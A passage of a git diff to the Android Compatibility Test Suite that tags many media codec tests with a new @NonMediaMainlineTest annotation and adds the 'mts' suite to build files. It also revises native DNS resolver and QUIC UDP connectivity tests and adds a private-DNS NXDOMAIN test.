     public void testOtherH264SurfQCIF()  { specific(otherH264(),  176, 144, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263FlexQCIF()  { specific(otherH263(),  176, 144, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263SurfQCIF()  { specific(otherH263(),  176, 144, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4FlexQCIF() { specific(otherMpeg4(), 176, 144, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4SurfQCIF() { specific(otherMpeg4(), 176, 144, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8FlexQCIF()   { specific(otherVP8(),   176, 144, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8SurfQCIF()   { specific(otherVP8(),   176, 144, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9FlexQCIF()   { specific(otherVP9(),   176, 144, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9SurfQCIF()   { specific(otherVP9(),   176, 144, false /* flex */); }
 
     public void testGoogH265Flex480p()   { specific(googH265(),   720, 480, true /* flex */); }
@@ -1513,17 +1645,29 @@
     public void testGoogVP9Flex480p()    { specific(googVP9(),    720, 480, true /* flex */); }
     public void testGoogVP9Surf480p()    { specific(googVP9(),    720, 480, false /* flex */); }
 
+    @NonMediaMainlineTest
     public void testOtherH265Flex480p()  { specific(otherH265(),  720, 480, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH265Surf480p()  { specific(otherH265(),  720, 480, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264Flex480p()  { specific(otherH264(),  720, 480, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264Surf480p()  { specific(otherH264(),  720, 480, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263Flex480p()  { specific(otherH263(),  720, 480, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263Surf480p()  { specific(otherH263(),  720, 480, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4Flex480p() { specific(otherMpeg4(), 720, 480, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4Surf480p() { specific(otherMpeg4(), 720, 480, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8Flex480p()   { specific(otherVP8(),   720, 480, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8Surf480p()   { specific(otherVP8(),   720, 480, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9Flex480p()   { specific(otherVP9(),   720, 480, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9Surf480p()   { specific(otherVP9(),   720, 480, false /* flex */); }
 
     // even though H.263 and MPEG-4 are not defined for 720p or 1080p
@@ -1542,17 +1686,29 @@
     public void testGoogVP9Flex720p()    { specific(googVP9(),    1280, 720, true /* flex */); }
     public void testGoogVP9Surf720p()    { specific(googVP9(),    1280, 720, false /* flex */); }
 
+    @NonMediaMainlineTest
     public void testOtherH265Flex720p()  { specific(otherH265(),  1280, 720, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH265Surf720p()  { specific(otherH265(),  1280, 720, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264Flex720p()  { specific(otherH264(),  1280, 720, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264Surf720p()  { specific(otherH264(),  1280, 720, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263Flex720p()  { specific(otherH263(),  1280, 720, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263Surf720p()  { specific(otherH263(),  1280, 720, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4Flex720p() { specific(otherMpeg4(), 1280, 720, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4Surf720p() { specific(otherMpeg4(), 1280, 720, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8Flex720p()   { specific(otherVP8(),   1280, 720, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8Surf720p()   { specific(otherVP8(),   1280, 720, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9Flex720p()   { specific(otherVP9(),   1280, 720, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9Surf720p()   { specific(otherVP9(),   1280, 720, false /* flex */); }
 
     public void testGoogH265Flex1080p()   { specific(googH265(),   1920, 1080, true /* flex */); }
@@ -1568,17 +1724,29 @@
     public void testGoogVP9Flex1080p()    { specific(googVP9(),    1920, 1080, true /* flex */); }
     public void testGoogVP9Surf1080p()    { specific(googVP9(),    1920, 1080, false /* flex */); }
 
+    @NonMediaMainlineTest
     public void testOtherH265Flex1080p()  { specific(otherH265(),  1920, 1080, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH265Surf1080p()  { specific(otherH265(),  1920, 1080, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264Flex1080p()  { specific(otherH264(),  1920, 1080, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264Surf1080p()  { specific(otherH264(),  1920, 1080, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263Flex1080p()  { specific(otherH263(),  1920, 1080, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263Surf1080p()  { specific(otherH263(),  1920, 1080, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4Flex1080p() { specific(otherMpeg4(), 1920, 1080, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4Surf1080p() { specific(otherMpeg4(), 1920, 1080, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8Flex1080p()   { specific(otherVP8(),   1920, 1080, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8Surf1080p()   { specific(otherVP8(),   1920, 1080, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9Flex1080p()   { specific(otherVP9(),   1920, 1080, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9Surf1080p()   { specific(otherVP9(),   1920, 1080, false /* flex */); }
 
     public void testGoogH265Flex360pWithIntraRefresh() {
@@ -1601,105 +1769,130 @@
         intraRefresh(googVP8(), 480, 360);
     }
 
+    @NonMediaMainlineTest
     public void testOtherH265Flex360pWithIntraRefresh() {
         intraRefresh(otherH265(), 480, 360);
     }
 
+    @NonMediaMainlineTest
     public void testOtherH264Flex360pWithIntraRefresh() {
         intraRefresh(otherH264(), 480, 360);
     }
 
+    @NonMediaMainlineTest
     public void testOtherH263FlexQCIFWithIntraRefresh() {
         intraRefresh(otherH263(), 176, 120);
     }
 
+    @NonMediaMainlineTest
     public void testOtherMpeg4Flex360pWithIntraRefresh() {
         intraRefresh(otherMpeg4(), 480, 360);
     }
 
+    @NonMediaMainlineTest
     public void testOtherVP8Flex360pWithIntraRefresh() {
         intraRefresh(otherVP8(), 480, 360);
     }
 
     // Tests encoder profiles required by CDD.
     // H264
+    @NonMediaMainlineTest
     public void testH264LowQualitySDSupport()   {
         support(h264(), 320, 240, 20, 384 * 1000);
     }
 
+    @NonMediaMainlineTest
     public void testH264HighQualitySDSupport()   {
         support(h264(), 720, 480, 30, 2 * 1000000);
     }
 
+    @NonMediaMainlineTest
     public void testH264FlexQVGA20fps384kbps()   {
         detailed(h264(), 320, 240, 20, 384 * 1000, true /* flex */);
     }
 
+    @NonMediaMainlineTest
     public void testH264SurfQVGA20fps384kbps()   {
         detailed(h264(), 320, 240, 20, 384 * 1000, false /* flex */);
     }
 
+    @NonMediaMainlineTest
     public void testH264Flex480p30fps2Mbps()   {
         detailed(h264(), 720, 480, 30, 2 * 1000000, true /* flex */);
     }
 
+    @NonMediaMainlineTest
     public void testH264Surf480p30fps2Mbps()   {
         detailed(h264(), 720, 480, 30, 2 * 1000000, false /* flex */);
     }
 
+    @NonMediaMainlineTest
     public void testH264Flex720p30fps4Mbps()   {
         detailed(h264(), 1280, 720, 30, 4 * 1000000, true /* flex */);
     }
 
+    @NonMediaMainlineTest
     public void testH264Surf720p30fps4Mbps()   {
         detailed(h264(), 1280, 720, 30, 4 * 1000000, false /* flex */);
     }
 
+    @NonMediaMainlineTest
     public void testH264Flex1080p30fps10Mbps()   {
         detailed(h264(), 1920, 1080, 30, 10 * 1000000, true /* flex */);
     }
 
+    @NonMediaMainlineTest
     public void testH264Surf1080p30fps10Mbps()   {
         detailed(h264(), 1920, 1080, 30, 10 * 1000000, false /* flex */);
     }
 
     // VP8
+    @NonMediaMainlineTest
     public void testVP8LowQualitySDSupport()   {
         support(vp8(), 320, 180, 30, 800 * 1000);
     }
 
+    @NonMediaMainlineTest
     public void testVP8HighQualitySDSupport()   {
         support(vp8(), 640, 360, 30, 2 * 1000000);
     }
 
+    @NonMediaMainlineTest
     public void testVP8Flex180p30fps800kbps()   {
         detailed(vp8(), 320, 180, 30, 800 * 1000, true /* flex */);
     }
 
+    @NonMediaMainlineTest
     public void testVP8Surf180p30fps800kbps()   {
         detailed(vp8(), 320, 180, 30, 800 * 1000, false /* flex */);
     }
 
+    @NonMediaMainlineTest
     public void testVP8Flex360p30fps2Mbps()   {
         detailed(vp8(), 640, 360, 30, 2 * 1000000, true /* flex */);
     }
 
+    @NonMediaMainlineTest
     public void testVP8Surf360p30fps2Mbps()   {
         detailed(vp8(), 640, 360, 30, 2 * 1000000, false /* flex */);
     }
 
+    @NonMediaMainlineTest
     public void testVP8Flex720p30fps4Mbps()   {
         detailed(vp8(), 1280, 720, 30, 4 * 1000000, true /* flex */);
     }
 
+    @NonMediaMainlineTest
     public void testVP8Surf720p30fps4Mbps()   {
         detailed(vp8(), 1280, 720, 30, 4 * 1000000, false /* flex */);
     }
 
+    @NonMediaMainlineTest
     public void testVP8Flex1080p30fps10Mbps()   {
         detailed(vp8(), 1920, 1080, 30, 10 * 1000000, true /* flex */);
     }
 
+    @NonMediaMainlineTest
     public void testVP8Surf1080p30fps10Mbps()   {
         detailed(vp8(), 1920, 1080, 30, 10 * 1000000, false /* flex */);
     }
diff --git a/tests/tests/media/src/android/media/cts/VirtualizerTest.java b/tests/tests/media/src/android/media/cts/VirtualizerTest.java
index 52b7e7a..175f358 100644
--- a/tests/tests/media/src/android/media/cts/VirtualizerTest.java
+++ b/tests/tests/media/src/android/media/cts/VirtualizerTest.java
@@ -29,6 +29,7 @@
 
 import java.util.Arrays;
 
+@NonMediaMainlineTest
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class VirtualizerTest extends PostProcTestBase {
 
diff --git a/tests/tests/mediastress/Android.mk b/tests/tests/mediastress/Android.mk
index e41ebc6..a972fce 100644
--- a/tests/tests/mediastress/Android.mk
+++ b/tests/tests/mediastress/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts
 
 # Include both the 32 and 64 bit versions
 LOCAL_MULTILIB := both
diff --git a/tests/tests/mediastress/src/android/mediastress/cts/MediaRecorderStressTest.java b/tests/tests/mediastress/src/android/mediastress/cts/MediaRecorderStressTest.java
index 17b79d0..0505d8b 100644
--- a/tests/tests/mediastress/src/android/mediastress/cts/MediaRecorderStressTest.java
+++ b/tests/tests/mediastress/src/android/mediastress/cts/MediaRecorderStressTest.java
@@ -36,6 +36,7 @@
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
 
+@NonMediaMainlineTest
 public class MediaRecorderStressTest extends ActivityInstrumentationTestCase2<MediaFrameworkTest> {
 
     private static final String TAG = "MediaRecorderStressTest";
diff --git a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml b/tests/tests/mediastress/src/android/mediastress/cts/NonMediaMainlineTest.java
old mode 100755
new mode 100644
similarity index 60%
copy from hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml
copy to tests/tests/mediastress/src/android/mediastress/cts/NonMediaMainlineTest.java
index a48cb1d..29f9131
--- a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml
+++ b/tests/tests/mediastress/src/android/mediastress/cts/NonMediaMainlineTest.java
@@ -1,5 +1,4 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
+/*
  * Copyright (C) 2019 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
@@ -13,13 +12,19 @@
  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  * See the License for the specific language governing permissions and
  * limitations under the License.
- -->
+ */
 
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.nocomponentapp">
+package android.mediastress.cts;
 
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application />
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
 
-</manifest>
-
+/**
+ * Annotation for tests that are not related to media mainline.
+ */
+@Retention(RetentionPolicy.RUNTIME)
+@Target({ElementType.METHOD, ElementType.TYPE})
+public @interface NonMediaMainlineTest {
+}
diff --git a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
index 91949db..bf1b582 100644
--- a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
+++ b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
@@ -1592,6 +1592,14 @@
         GL_RGBA8, GL_DEPTH_COMPONENT16, GL_STENCIL_INDEX8, GL_DEPTH24_STENCIL8
     };
     GLuint& fbo = mFramebuffers[mWhich];
+    GLbitfield clear_bits[] = {
+        GL_COLOR_BUFFER_BIT, GL_DEPTH_BUFFER_BIT, GL_STENCIL_BUFFER_BIT,
+        GL_DEPTH_BUFFER_BIT | GL_STENCIL_BUFFER_BIT
+    };
+
+    glClearColor(0.f, 0.f, 0.f, 0.f);
+    glClearDepthf(1.0f);
+    glClearStencil(0);
     glGenFramebuffers(1, &fbo);
     glBindFramebuffer(GL_FRAMEBUFFER, fbo);
     for (int i = 0; i < 4; ++i) {
@@ -1618,7 +1626,8 @@
                 glGenRenderbuffers(1, &renderbuffer);
                 glBindRenderbuffer(GL_RENDERBUFFER, renderbuffer);
                 ASSERT_EQ(GLenum{GL_NO_ERROR}, glGetError());
-                if (GetParam().stride & kGlFormat) {
+                bool isGlFormat = GetParam().stride & kGlFormat;
+                if (isGlFormat) {
                     glRenderbufferStorage(GL_RENDERBUFFER, GetParam().format, width, height);
                 } else {
                     glEGLImageTargetRenderbufferStorageOES(GL_RENDERBUFFER,
@@ -1626,6 +1635,8 @@
                 }
                 glFramebufferRenderbuffer(GL_FRAMEBUFFER, attachment_points[i],
                                           GL_RENDERBUFFER, renderbuffer);
+                if (isGlFormat)
+                    glClear(clear_bits[i]);
                 break;
             }
             case kRenderbuffer: {
@@ -1636,6 +1647,7 @@
                 glRenderbufferStorage(GL_RENDERBUFFER, default_formats[i], width, height);
                 glFramebufferRenderbuffer(GL_FRAMEBUFFER, attachment_points[i],
                                           GL_RENDERBUFFER, renderbuffer);
+                glClear(clear_bits[i]);
                 break;
             }
             default: FAIL() << "Unrecognized binding type";
diff --git a/tests/tests/net/Android.bp b/tests/tests/net/Android.bp
index b6ea4af..b00455d 100644
--- a/tests/tests/net/Android.bp
+++ b/tests/tests/net/Android.bp
@@ -60,6 +60,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
 
 }
diff --git a/tests/tests/net/jni/NativeMultinetworkJni.cpp b/tests/tests/net/jni/NativeMultinetworkJni.cpp
index a6b5e90..2832c3d 100644
--- a/tests/tests/net/jni/NativeMultinetworkJni.cpp
+++ b/tests/tests/net/jni/NativeMultinetworkJni.cpp
@@ -145,7 +145,7 @@
 }
 
 extern "C"
-JNIEXPORT jint Java_android_net_cts_MultinetworkApiTest_runResNqueryCheck(
+JNIEXPORT void Java_android_net_cts_MultinetworkApiTest_runResNqueryCheck(
         JNIEnv* env, jclass, jlong nethandle) {
     net_handle_t handle = (net_handle_t) nethandle;
 
@@ -155,29 +155,15 @@
     EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET, ns_r_noerror),
             "v4 res_nquery check answers");
 
-    // V4 NXDOMAIN
-    fd = android_res_nquery(handle, kNxDomainName, ns_c_in, ns_t_a, 0);
-    EXPECT_GE(env, fd, 0, "v4 res_nquery NXDOMAIN");
-    EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET, ns_r_nxdomain),
-            "v4 res_nquery NXDOMAIN check answers");
-
     // V6
     fd = android_res_nquery(handle, kHostname, ns_c_in, ns_t_aaaa, 0);
     EXPECT_GE(env, fd, 0, "v6 res_nquery");
     EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET, ns_r_noerror),
             "v6 res_nquery check answers");
-
-    // V6 NXDOMAIN
-    fd = android_res_nquery(handle, kNxDomainName, ns_c_in, ns_t_aaaa, 0);
-    EXPECT_GE(env, fd, 0, "v6 res_nquery NXDOMAIN");
-    EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET, ns_r_nxdomain),
-            "v6 res_nquery NXDOMAIN check answers");
-
-    return 0;
 }
 
 extern "C"
-JNIEXPORT jint Java_android_net_cts_MultinetworkApiTest_runResNsendCheck(
+JNIEXPORT void Java_android_net_cts_MultinetworkApiTest_runResNsendCheck(
         JNIEnv* env, jclass, jlong nethandle) {
     net_handle_t handle = (net_handle_t) nethandle;
     // V4
@@ -200,15 +186,6 @@
     EXPECT_EQ(env, 0, expectAnswersValid(env, fd1, AF_INET, ns_r_noerror),
             "v4 res_nsend 1st check answers");
 
-    // V4 NXDOMAIN
-    memset(buf1, 0, sizeof(buf1));
-    len1 = makeQuery(kNxDomainName, ns_t_a, buf1, sizeof(buf1));
-    EXPECT_GT(env, len1, 0, "v4 res_mkquery NXDOMAIN");
-    fd1 = android_res_nsend(handle, buf1, len1, 0);
-    EXPECT_GE(env, fd1, 0, "v4 res_nsend NXDOMAIN");
-    EXPECT_EQ(env, 0, expectAnswersValid(env, fd1, AF_INET, ns_r_nxdomain),
-            "v4 res_nsend NXDOMAIN check answers");
-
     // V6
     memset(buf1, 0, sizeof(buf1));
     memset(buf2, 0, sizeof(buf2));
@@ -226,21 +203,47 @@
             "v6 res_nsend 2nd check answers");
     EXPECT_EQ(env, 0, expectAnswersValid(env, fd1, AF_INET6, ns_r_noerror),
             "v6 res_nsend 1st check answers");
-
-    // V6 NXDOMAIN
-    memset(buf1, 0, sizeof(buf1));
-    len1 = makeQuery(kNxDomainName, ns_t_aaaa, buf1, sizeof(buf1));
-    EXPECT_GT(env, len1, 0, "v6 res_mkquery NXDOMAIN");
-    fd1 = android_res_nsend(handle, buf1, len1, 0);
-    EXPECT_GE(env, fd1, 0, "v6 res_nsend NXDOMAIN");
-    EXPECT_EQ(env, 0, expectAnswersValid(env, fd1, AF_INET6, ns_r_nxdomain),
-            "v6 res_nsend NXDOMAIN check answers");
-
-    return 0;
 }
 
 extern "C"
-JNIEXPORT jint Java_android_net_cts_MultinetworkApiTest_runResNcancelCheck(
+JNIEXPORT void Java_android_net_cts_MultinetworkApiTest_runResNnxDomainCheck(
+        JNIEnv* env, jclass, jlong nethandle) {
+    net_handle_t handle = (net_handle_t) nethandle;
+
+    // res_nquery V4 NXDOMAIN
+    int fd = android_res_nquery(handle, kNxDomainName, ns_c_in, ns_t_a, 0);
+    EXPECT_GE(env, fd, 0, "v4 res_nquery NXDOMAIN");
+    EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET, ns_r_nxdomain),
+            "v4 res_nquery NXDOMAIN check answers");
+
+    // res_nquery V6 NXDOMAIN
+    fd = android_res_nquery(handle, kNxDomainName, ns_c_in, ns_t_aaaa, 0);
+    EXPECT_GE(env, fd, 0, "v6 res_nquery NXDOMAIN");
+    EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET6, ns_r_nxdomain),
+            "v6 res_nquery NXDOMAIN check answers");
+
+    uint8_t buf[MAXPACKET] = {};
+    // res_nsend V4 NXDOMAIN
+    int len = makeQuery(kNxDomainName, ns_t_a, buf, sizeof(buf));
+    EXPECT_GT(env, len, 0, "v4 res_mkquery NXDOMAIN");
+    fd = android_res_nsend(handle, buf, len, 0);
+    EXPECT_GE(env, fd, 0, "v4 res_nsend NXDOMAIN");
+    EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET, ns_r_nxdomain),
+            "v4 res_nsend NXDOMAIN check answers");
+
+    // res_nsend V6 NXDOMAIN
+    memset(buf, 0, sizeof(buf));
+    len = makeQuery(kNxDomainName, ns_t_aaaa, buf, sizeof(buf));
+    EXPECT_GT(env, len, 0, "v6 res_mkquery NXDOMAIN");
+    fd = android_res_nsend(handle, buf, len, 0);
+    EXPECT_GE(env, fd, 0, "v6 res_nsend NXDOMAIN");
+    EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET6, ns_r_nxdomain),
+            "v6 res_nsend NXDOMAIN check answers");
+}
+
+
+extern "C"
+JNIEXPORT void Java_android_net_cts_MultinetworkApiTest_runResNcancelCheck(
         JNIEnv* env, jclass, jlong nethandle) {
     net_handle_t handle = (net_handle_t) nethandle;
 
@@ -251,11 +254,10 @@
     EXPECT_EQ(env, 0, err, "res_cancel");
     // DO NOT call cancel or result with the same fd more than once,
     // otherwise it will hit fdsan double-close fd.
-    return 0;
 }
 
 extern "C"
-JNIEXPORT jint Java_android_net_cts_MultinetworkApiTest_runResNapiMalformedCheck(
+JNIEXPORT void Java_android_net_cts_MultinetworkApiTest_runResNapiMalformedCheck(
         JNIEnv* env, jclass, jlong nethandle) {
     net_handle_t handle = (net_handle_t) nethandle;
 
@@ -311,8 +313,6 @@
     EXPECT_GE(env, fd, 0, "res_nsend 500 bytes filled with 0xFF");
     EXPECT_EQ(env, 0, expectAnswersNotValid(env, fd, -EINVAL),
             "res_nsend 500 bytes filled with 0xFF check answers");
-
-    return 0;
 }
 
 extern "C"
@@ -455,13 +455,17 @@
     setsockopt(fd, SOL_SOCKET, SO_SNDTIMEO, &timeo, sizeof(timeo));
 
     // For reference see:
-    //     https://tools.ietf.org/html/draft-tsvwg-quic-protocol-01#section-6.1
-    uint8_t quic_packet[] = {
-        0x0c,                    // public flags: 64bit conn ID, 8bit sequence number
+    //     https://tools.ietf.org/html/draft-tsvwg-quic-protocol#section-6.1
+    uint8_t quic_packet[1200] = {
+        0x0d,                    // public flags:
+                                 //   - version present (0x01),
+                                 //   - 64bit connection ID (0x0c),
+                                 //   - 1 byte packet number (0x00)
         0, 0, 0, 0, 0, 0, 0, 0,  // 64bit connection ID
-        0x01,                    // sequence number
+        0xaa, 0xda, 0xca, 0xaa,  // reserved-space version number
+        1,                       // 1 byte packet number
         0x00,                    // private flags
-        0x07,                    // type: regular frame type "PING"
+        0x07,                    // PING frame (cuz why not)
     };
 
     arc4random_buf(quic_packet + 1, 8);  // random connection ID
@@ -489,7 +493,7 @@
                   i + 1, MAX_RETRIES, rcvd, errnum);
         }
     }
-    if (rcvd < sent) {
+    if (rcvd < 9) {
         ALOGD("QUIC UDP %s: sent=%zd but rcvd=%zd, errno=%d", kPort, sent, rcvd, errnum);
         if (rcvd <= 0) {
             ALOGD("Does this network block UDP port %s?", kPort);
@@ -505,8 +509,7 @@
         return -EPROTO;
     }
 
-    // TODO: log, and compare to the IP address encoded in the
-    // response, since this should be a public reset packet.
+    // TODO: Replace this quick 'n' dirty test with proper QUIC-capable code.
 
     close(fd);
     return 0;
diff --git a/tests/tests/net/native/dns/Android.bp b/tests/tests/net/native/dns/Android.bp
index 9fbc3fc..1704a2b 100644
--- a/tests/tests/net/native/dns/Android.bp
+++ b/tests/tests/net/native/dns/Android.bp
@@ -35,5 +35,6 @@
     },
     test_suites: [
         "cts",
+        "mts",
     ],
-}
\ No newline at end of file
+}
diff --git a/tests/tests/net/src/android/net/cts/DnsResolverTest.java b/tests/tests/net/src/android/net/cts/DnsResolverTest.java
index ef8badd..c32a7a0 100644
--- a/tests/tests/net/src/android/net/cts/DnsResolverTest.java
+++ b/tests/tests/net/src/android/net/cts/DnsResolverTest.java
@@ -21,6 +21,7 @@
 import static android.net.DnsResolver.FLAG_NO_CACHE_LOOKUP;
 import static android.net.DnsResolver.TYPE_A;
 import static android.net.DnsResolver.TYPE_AAAA;
+import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
 import static android.system.OsConstants.ETIMEDOUT;
 
 import android.annotation.NonNull;
@@ -36,6 +37,7 @@
 import android.net.NetworkCapabilities;
 import android.net.NetworkRequest;
 import android.net.ParseException;
+import android.net.cts.util.CtsNetUtils;
 import android.os.CancellationSignal;
 import android.os.Handler;
 import android.os.Looper;
@@ -62,7 +64,9 @@
     };
 
     static final String TEST_DOMAIN = "www.google.com";
+    static final String TEST_NX_DOMAIN = "test1-nx.metric.gstatic.com";
     static final String INVALID_PRIVATE_DNS_SERVER = "invalid.google";
+    static final String GOOGLE_PRIVATE_DNS_SERVER = "dns.google";
     static final byte[] TEST_BLOB = new byte[]{
             /* Header */
             0x55, 0x66, /* Transaction ID */
@@ -86,6 +90,7 @@
 
     private ContentResolver mCR;
     private ConnectivityManager mCM;
+    private CtsNetUtils mCtsNetUtils;
     private Executor mExecutor;
     private Executor mExecutorInline;
     private DnsResolver mDns;
@@ -101,6 +106,7 @@
         mExecutor = new Handler(Looper.getMainLooper())::post;
         mExecutorInline = (Runnable r) -> r.run();
         mCR = getContext().getContentResolver();
+        mCtsNetUtils = new CtsNetUtils(getContext());
         storePrivateDnsSetting();
     }
 
@@ -309,6 +315,14 @@
         doTestRawQueryNXDomain(mExecutorInline);
     }
 
+    public void testRawQueryNXDomainWithPrivateDns() throws Exception {
+        doTestRawQueryNXDomainWithPrivateDns(mExecutor);
+    }
+
+    public void testRawQueryNXDomainInlineWithPrivateDns() throws Exception {
+        doTestRawQueryNXDomainWithPrivateDns(mExecutorInline);
+    }
+
     public void doTestRawQuery(Executor executor) throws InterruptedException {
         final String msg = "RawQuery " + TEST_DOMAIN;
         for (Network network : getTestableNetworks()) {
@@ -364,11 +378,46 @@
     }
 
     public void doTestRawQueryNXDomain(Executor executor) throws InterruptedException {
-        final String dname = "test1-nx.metric.gstatic.com";
-        final String msg = "RawQuery " + dname;
+        final String msg = "RawQuery " + TEST_NX_DOMAIN;
+
         for (Network network : getTestableNetworks()) {
+            final NetworkCapabilities nc = (network != null)
+                    ? mCM.getNetworkCapabilities(network)
+                    : mCM.getNetworkCapabilities(mCM.getActiveNetwork());
+            assertNotNull("Couldn't determine NetworkCapabilities for " + network, nc);
+            // Some cellular networks configure their DNS servers never to return NXDOMAIN, so don't
+            // test NXDOMAIN on these DNS servers.
+            // b/144521720
+            if (nc.hasTransport(TRANSPORT_CELLULAR)) continue;
             final VerifyCancelCallback callback = new VerifyCancelCallback(msg);
-            mDns.rawQuery(network, dname, CLASS_IN, TYPE_AAAA, FLAG_NO_CACHE_LOOKUP,
+            mDns.rawQuery(network, TEST_NX_DOMAIN, CLASS_IN, TYPE_AAAA, FLAG_NO_CACHE_LOOKUP,
+                    executor, null, callback);
+
+            assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
+                    callback.waitForAnswer());
+            callback.assertNXDomain();
+        }
+    }
+
+    public void doTestRawQueryNXDomainWithPrivateDns(Executor executor)
+            throws InterruptedException {
+        final String msg = "RawQuery " + TEST_NX_DOMAIN + " with private DNS";
+
+        // Enable private DNS strict mode and set server to dns.google before doing NxDomain test.
+        // b/144521720
+        Settings.Global.putString(mCR, Settings.Global.PRIVATE_DNS_MODE, "hostname");
+        Settings.Global.putString(mCR,
+                Settings.Global.PRIVATE_DNS_SPECIFIER, GOOGLE_PRIVATE_DNS_SERVER);
+
+        for (Network network :  getTestableNetworks()) {
+            final Network networkForPrivateDns =
+                    (network != null) ? network : mCM.getActiveNetwork();
+            assertNotNull("Can't find network to await private DNS on", networkForPrivateDns);
+            mCtsNetUtils.awaitPrivateDnsSetting(msg + " wait private DNS setting timeout",
+                    networkForPrivateDns, GOOGLE_PRIVATE_DNS_SERVER,
+                    PRIVATE_DNS_SETTING_TIMEOUT_MS);
+            final VerifyCancelCallback callback = new VerifyCancelCallback(msg);
+            mDns.rawQuery(network, TEST_NX_DOMAIN, CLASS_IN, TYPE_AAAA, FLAG_NO_CACHE_LOOKUP,
                     executor, null, callback);
 
             assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
@@ -615,23 +664,6 @@
         }
     }
 
-    private void awaitPrivateDnsSetting(@NonNull String msg,
-            @NonNull Network network, @NonNull String server) throws InterruptedException {
-        CountDownLatch latch = new CountDownLatch(1);
-        NetworkRequest request = new NetworkRequest.Builder().clearCapabilities().build();
-        NetworkCallback callback = new NetworkCallback() {
-            @Override
-            public void onLinkPropertiesChanged(Network n, LinkProperties lp) {
-                if (network.equals(n) && server.equals(lp.getPrivateDnsServerName())) {
-                    latch.countDown();
-                }
-            }
-        };
-        mCM.registerNetworkCallback(request, callback);
-        assertTrue(msg, latch.await(PRIVATE_DNS_SETTING_TIMEOUT_MS, TimeUnit.MILLISECONDS));
-        mCM.unregisterNetworkCallback(callback);
-    }
-
     public void testPrivateDnsBypass() throws InterruptedException {
         final Network[] testNetworks = getTestableNetworks();
 
@@ -647,8 +679,8 @@
             if (network == null) continue;
 
             // wait for private DNS setting propagating
-            awaitPrivateDnsSetting(msg + " wait private DNS setting timeout",
-                    network, INVALID_PRIVATE_DNS_SERVER);
+            mCtsNetUtils.awaitPrivateDnsSetting(msg + " wait private DNS setting timeout",
